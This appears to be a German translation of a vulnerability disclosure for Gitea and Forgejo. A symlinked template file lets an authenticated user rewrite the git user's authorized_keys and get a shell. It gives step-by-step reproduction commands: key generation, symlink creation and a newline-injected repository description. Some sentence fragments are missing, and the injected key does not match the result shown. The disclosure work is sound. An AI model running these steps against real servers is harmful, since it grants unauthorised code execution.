
Ein Verzeichnistraversierung in der Repository-Vorlagenverarbeitung von Gitea und Forgejo ermöglicht es remote authentifizierten Angreifern, beliebige Dateien im Dateisystem zu verarbeiten, was zu einer Remote-Code-Ausführung führt.
Dieses Werk ist lizenziert unter einer Creative Commons Attribution-ShareAlike 4.0 International License.
Bei der Überprüfung des Quellcodes von Forgejo und Gitea, um besser zu verstehen, wie die Vorlagenerstellung funktioniert, entdeckte ich eine Schwachstelle, die es einem authentifizierten Benutzer ermöglicht, ein bösartiges Vorlagenrepository zu erstellen, das dazu verwendet werden kann, beliebige Dateien im Dateisystem zu verarbeiten.
Wenn ein Repository basierend auf dem Git-Inhalt der bösartigen Vorlage erstellt wird, kann die Vorlage beliebige Dateien im Dateisystem erweitern.
Wenn der Pfad zum Home-Verzeichnis des git-Benutzers bekannt ist (der im
offiziellen Docker-Image standardmäßig auf /data/git gesetzt ist), kann ein
Angreifer die .ssh/authorized_keys-Datei des git-Benutzers erweitern, um
einen Schlüssel ohne den command-Parameter einzufügen, der zur Ausführung
beliebiger Befehle oder einer interaktiven Shell verwendet werden kann.
Betroffene Versionen: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Betroffene Komponente: Vorlagen-Repositories
Grundursache: Auflösung symbolischer Links beim Lesen und Schreiben von Vorlagen-Dateiinhalten
Der Angreifer authentifiziert sich als legitimer Benutzer
Der Angreifer erstellt ein bösartiges Vorlagenrepository, das einen
symbolischen Link zur erratenen .ssh/authorized_keys-Datei des git-Benutzers
und eine .forgejo/template-Datei enthält, die auf den symbolischen Link
verweist
Der Angreifer fügt seinem Konto einen SSH-öffentlichen Schlüssel mit einem
benutzerdefinierten Kommentar hinzu, der mit ${REPO_DESCRIPTION} endet
Der Angreifer erstellt ein Repository, das auf das bösartige Vorlagenrepository verweist, mit aktivierter Git-Inhalt-Vorlagenerstellung und einer Beschreibung, die einen Zeilenumbruch gefolgt von einem weiteren SSH-öffentlichen Schlüssel enthält
Gitea/Forgejo-Vorlagen lesen und erweitern den authorized_keys-Symlink,
wodurch der zuvor gesetzte Kommentar des öffentlichen Schlüssels auf einen
beliebigen Eintrag entsprechend der Repository-Beschreibung des Angreifers
erweitert wird, ohne den command-Parameter
Der Angreifer meldet sich interaktiv als git-Benutzer an, unter Verwendung
des injizierten Schlüssels
Es ist auch möglich für den Angreifer, Konfigurationsdateien, die SQLite-Datenbank zu beschädigen oder einen Denial-of-Service durch das Lesen großer Dateien zu verursachen.
Installieren und konfigurieren Sie eine verwundbare Version von Gitea/Forgejo
Registrieren oder erstellen Sie ein Konto für den Angreifer mit dem Administratorkonto
Melden Sie sich mit dem Angreiferkonto an
Generieren Sie zwei verschiedene SSH-Schlüssel: einen für Git und einen für interaktives SSH
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub als autorisierten SSH-Schlüssel
über die Gitea/Forgejo-Benutzeroberfläche hinzuDer Schlüsselkommentar sollte vorhanden sein und wie folgt aussehen:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Die .ssh/authorized_keys-Datei des git-Benutzers sieht jetzt wie folgt aus:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Erstellen Sie ein bösartiges Vorlagenrepository über die Gitea/Forgejo-Benutzeroberfläche
Klonen Sie das Vorlagenrepository und fügen Sie den bösartigen Symlink und die Vorlagenkonfiguration hinzu
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub enthältDie Repository-Beschreibung sollte wie folgt aussehen:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
Das replaced in der ersten Zeile ist nicht erforderlich, aber Sie müssen
sicherstellen, dass der Zeilenumbruch dennoch vorhanden ist.
Der Kommentar attacker@machine am Ende der Zeile ist ebenfalls optional.
Die resultierende .ssh/authorized_keys-Datei des git-Benutzers wird wie folgt
aussehen:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh-Schlüssel und dem ssh-Clientssh -i ~/.ssh/attacker-ssh git@localhost -p 222